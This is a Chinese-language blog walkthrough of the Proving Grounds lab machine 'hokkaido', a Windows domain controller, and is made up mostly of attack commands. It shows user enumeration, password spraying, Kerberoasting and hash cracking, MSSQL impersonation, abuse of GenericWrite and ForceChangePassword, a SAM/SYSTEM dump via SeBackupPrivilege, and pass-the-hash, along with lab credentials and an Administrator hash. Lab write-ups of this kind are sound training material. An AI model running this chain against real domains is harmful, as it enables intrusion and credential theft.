Proving Grounds Practice : hokkaido Walkthrough

 Proving Grounds Practice : hokkaido Walkthrough


Foothole (立足點 ) :

  • 枚舉 SMB、LDAP、網站等都沒有發現
  • 因為這是一台 DC,使用 Kerbrute 枚舉帳號,發現四個網域帳號
  • 編輯帳號密碼表,噴灑後發現一組有效憑證
  • 使用第一組有效憑證在 SMB 發現其他使用者帳號,與一個 txt 檔案中記錄著密碼
  • 繼續密碼噴灑後發現第二組憑證,這一組憑證透過 Kerberoasting 也可以破解出來
  • 第二組憑證可以登入 MS-SQL 但沒有任何權限,使用 IMPERSONNATE 發現另一組帳號
  • 切換 MS-SQL 的 IMPERSONNATE 的帳號後讀取特定資料庫獲取第三組憑證
  • 第三組憑證對某個特定 AD 帳號有 GenericWrite 的權限,參考 Help 利用後讀取到 HASH
  • 破解 Kerberoasting 後獲取第四組憑證,第四組憑證對某特定 AD 帳號有  ForceChangePassword 的權限
  • 一樣參考 HELP 後透過 RPC 修改特定使用者密碼,獲得第五組憑證
  • 第五組憑證可以 RDP 進入到伺服器

PE ( 提權 ) :

  • whoami /priv 發現 SeBackupPrivilege 權限
  • 標準利用 SAM、SYSTEM 後獲取 Administrator 帳號的 HASH
  • evil-winrm 進入為管理者


注意事項 : 

  • 橫向移動的極致表現與枚舉
  • 學習 MS-SQL 的 IMPERSONNATE 利用
  • GenericWrite 的利用去獲取 Kerberoasting 的值
  • ForceChangePassword 的標準利用
  • 不同帳號跑出來的 BloodHound 可以看到的結果不太一樣
  • 即便不是 Administrators 群組,在 DC 啟動 cmd 也要注意 run as Administrator 才有權限


第一步 Rustscan,└─$ rustscan -a 192.168.183.40 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.183.40 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 53,80,88,135,139,389,445,464,593,636,1433,5985,9389,3268,3269,3389,8530,8531,49664,49665,49666,49667,49668,49671,49675,49685,49684,49691,49700,49701,49712,47001,58538 192.168.183.40 | tee nmap

Domain Name : HAERO

機器名稱 : DC

網域名稱 : hokkaido-aerospace.com

80/tcp    open  http          Microsoft IIS httpd 10.0

389/tcp   open  ldap          Microsoft Windows Active Directory LDAP

593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0

636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP

1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM

8530/tcp  open  http          Microsoft IIS httpd 10.0

9389/tcp  open  mc-nmf        .NET Message Framing

47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

58538/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM





enum4linux,└─$ enum4linux -a 192.168.183.40 | tee enum4linux   

Domain : HAERO
Domain Sid: S-1-5-21-3227296914-974780204-1325941497



沒有驗證,share 枚舉不到任何東西



nmap with LDAP scrtpt,└─$ sudo nmap -n -sV -Pn --script ldap-search.nse 192.168.183.40 | tee ldap-nmap



nmap with LDAP,└─$ nmap --script "ldap* and not brute" 192.168.183.40 -p 389 -v -Pn -sT | tee nmap-ldap 



LDAP Search,ldapsearch -v -x -b "DC=hokkaido-aerospace,DC=com" -H "ldap://192.168.183.40" "(objectclass=*)"



80 /



gobuster 80,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.183.40 -c -t 150 -x txt,pdf,git,aspx | tee gobuster




8530 /



gobuster 8530



80 & 8530 相關 URI 繼續 gobuster 都沒有發現

後續使用 kerbrute,參考 : https://github.com/ropnop/kerbrute 列舉使用者看看


使用者枚舉,└─$ ./kerbrute_linux_amd64 userenum -d hokkaido-aerospace.com --dc 192.168.183.40 names.txt       

或是 └─$ ./kerbrute_linux_amd64 userenum --dc 192.168.183.40 -d hokkaido-aerospace.com -o kerbrute-user-enum names.txt
發現 4 個帳號
 - administrator
 - discovery
 - info
 - maintenance



編輯簡易的帳號密碼檔測試看看,└─$ crackmapexec smb 192.168.183.40 -u ./usernames.txt -p ./passwords.txt -d 'hokkaido-aerospace.com' --continue-on-success

發現一組有效的憑證 info:info



已經拿到網域帳號,先跑遠端 BloodHound,bloodhound-python -d hokkaido-aerospace.com -u 'info' -p 'info' -gc dc.hokkaido-aerospace.com -c all -ns 192.168.183.40


Domain Admins 成員有兩位 administrator、angela.davies


目前該使用者看不出來有可以利用的地方



SMB 列舉看看,└─$ smbclient -L //192.168.183.40 -U "hokkaido-aerospace.com/info" --password="info"
有個有趣的資料夾 homes


登入後發現是一堆使用者帳號的資料夾



另外在 \\NETLOGON\temp 底下有個 password_reset.txt 的檔案



抓回來看一下,看來像是 AD 網域使用者的 Default Password,Start123!



再次編輯好使用者清單測試該密碼試試看,└─$ crackmapexec smb 192.168.183.40 -u ./usernames.txt -p 'Start123!' -d 'hokkaido-aerospace.com' --continue-on-success

發現另外一組憑證 discovery:Start123!



測試 winrm 無法登入



SMB 確認沒有發現新的分享,跟 info 帳號看到的一樣

└─$ smbclient -L //192.168.183.40 -U "hokkaido-aerospace.com/discovery" --password='Start123!'



BloodHound 看一下 discovery 使用者的利用,沒有任何發現



AS-REP Roasting 測試看看,impacket-GetUserSPNs -dc-ip 192.168.183.40 hokkaido-aerospace.com/discovery:Start123! -request

發現兩組帳號 discovery、maintenance



存下來後破解看看,└─$ hashcat -m 13100 discovery.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

跑出來是 Start123!,不過這個我們是已經知道的


嘗試另外一個 HASH,└─$ hashcat -m 13100 maintenance.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 

這個帳號解不出來


後續測試可以登入 MSSQL,impacket-mssqlclient  'hokkaido-aerospace.com/discovery':'Start123!'@192.168.183.40 -dc-ip 192.168.183.40 -windows-auth



開始標準作業 EXECUTE sp_configure 'show advanced options', 1;

結果沒有權限 GG



查看一下資料庫,SELECT name FROM sys.databases;

共有 5 個,前四個是預設的,第五個 hrappdb 是非預設的



列舉該 DB 相關的 Tables ,SELECT * FROM hrappdb.information_schema.tables; 發現 GG 沒有權限

即便簡單的使用 use hrappdb; 都顯示沒有權限



參考這一篇 : https://github.com/SofianeHamlaoui/Pentest-Notes/blob/master/Security_cheatsheets/databases/sqlserver/4-privilage-escalation.md
查找看看有無 Impersonatable 帳號

指令 : SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

發現一個帳號 hrappdb-reader,從名稱來看就是可以讀該 DB 的一個帳號



依據該參考,找到帳號後後續直接使用 Execute As 即可切換使用者



依樣畫葫蘆,使用看看 EXECUTE AS LOGIN = 'hrappdb-reader'

看來有成功切換,use hrappdb 也可以正常讀取

那就先查看 Tables

SELECT * FROM hrappdb.information_schema.tables;

Table 名稱是 sysauth



直接列舉該資料表欄位 select * from hrappdb.dbo.sysauth;

發現一組有效的憑證 hrapp-service:Untimed$Runny



測試一下帳號密碼,該帳號看來也是一組網域帳號,但一樣沒有 winrm 權限



BloodHound 發現該帳號對另外一個使用者帳號 hazel.green 有 GenericWrite 的權限



直接參考 Help 有告知使用方式

targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'



使用的 targetedKerberoast.py 可以參考 https://github.com/ShutdownRepo/targetedKerberoast



跑跑看,targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.183.40

多獲得帳號 Hazel.Green 的 Kerberoasting HASH



破解看看,└─$ hashcat -m 13100 Hazel.Green.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 

破解成功密碼是 haze1988,獲得新憑證 Hazel.Green:haze1988


測試一下帳號密碼,看來是有用的,但一樣無法 winrm



查看 BloodHound 該使用者 hazel.green 隸屬 Tier2-Admins 群組

該群組對帳號 molly.smith 有 ForceChangePassword 的權限

該使用者又隸屬 Tier1-Admins 群組,看來一步一步接近核心了




查看 HELP 告知使用 RPC 的方式去 Reset Password

net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"



測試看看,net rpc password "molly.smith" "Password123@" -U "hokkaido-aerospace.com"/"Hazel.Green"%"haze1988" -S 192.168.183.40

確認密碼有效已被重製,獲得新憑證 molly.smith:Password123@



但該帳號發現可以 RDP



直接 RDP 進入該靶機,└─$ xfreerdp /v:192.168.183.40 /u:'haero\molly.smith' /p:'Password123@' -drive:aries,/home/kali/pg/40-2 



local.txt flag 在根目錄下



雖然 molly.smith 不是 Domain Admins 群組但是在 PE 時一樣要使用 Run As Administrator

去開啟 cmd 才會有相關權限,whoami /priv 發現 SeBackupPrivilege 權限



標準利用,將 SAM & SYSTEM COPY 出來

reg save hklm\sam c:\Temp\sam

reg save hklm\system c:\Temp\system



抓回 Kali Dump 看看,└─$ impacket-secretsdump -sam ./sam -system ./system LOCAL

獲得 administrator 的 NTLM HASH

Administrator:500:aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376fddb2a2109e4:::



impacket-psexec 進去會卡住,└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376fddb2a2109e4 administrator@192.168.183.40

改用 evil-winrm 直接進去了 evil-winrm -i 192.168.183.40  -u administrator -H "d752482897d54e239376fddb2a2109e4"



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)